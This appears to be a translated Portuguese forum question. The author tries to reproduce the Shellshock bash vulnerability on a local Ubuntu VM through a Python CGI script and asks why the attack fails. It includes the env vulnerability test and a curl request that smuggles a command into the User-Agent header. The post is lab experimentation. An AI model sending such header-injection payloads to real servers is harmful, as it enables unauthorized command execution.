Eu tenho tentado reproduzir o bug do Shellshock no meu 14.04 Ubuntu VM local sem qualquer sorte. Eu sei que minha versão bash local ainda é vulnerável porque o comando a seguir imprime a parte comentada:
env x='() { :;}; echo vulnerable' bash -c "echo this is a test"
# vulnerable
# this is a test
Minha configuração atual é um script CGI Python muito simples em execução no Apache2. Assumindo que minha configuração de host virtual simplesmente funciona, aqui está meu script Python em toda a sua glória:
#!/usr/bin/python
import os
val = os.environ.get('HTTP_USER_AGENT')
print "Content-type:text/html\r\n\r\n"
print "<html>"
print "<head>"
print "<title>Shellshocked!!</title>"
print "</head>"
print "<body>"
print "<h2>Hi world; ua=%s</h2>" % val
print "</body>"
print "</html>"
Eu chamo esta página da web usando o curl e o seguinte comando:
curl -H "User-Agent: () { :; }; touch ~/hacked.txt" http://localhost/cgi-bin/index.py
A saída é:
<html>
<head>
<title>Shellshocked!!</title>
</head>
<body>
<h2>Hi world; ua=() { :; }; touch ~/hacked.txt</h2>
</body>
</html>
Como você pode ver, o ataque é passado para a página, mas nada é criado no diretório pessoal. Alguma pista de por que o ataque não funciona? Os detalhes relevantes sobre minha versão bash são os seguintes:
adminuser@home:/bin$ bash --version
GNU bash, version 4.2.45(1)-release (x86_64-pc-linux-gnu)
Além disso, devo mencionar que meu /bin/sh
é linkado com link simbólico para /bin/dash
caso isso faça diferença, embora isso também seja vulnerável, pois o teste de vulnerabilidade acima ainda funciona.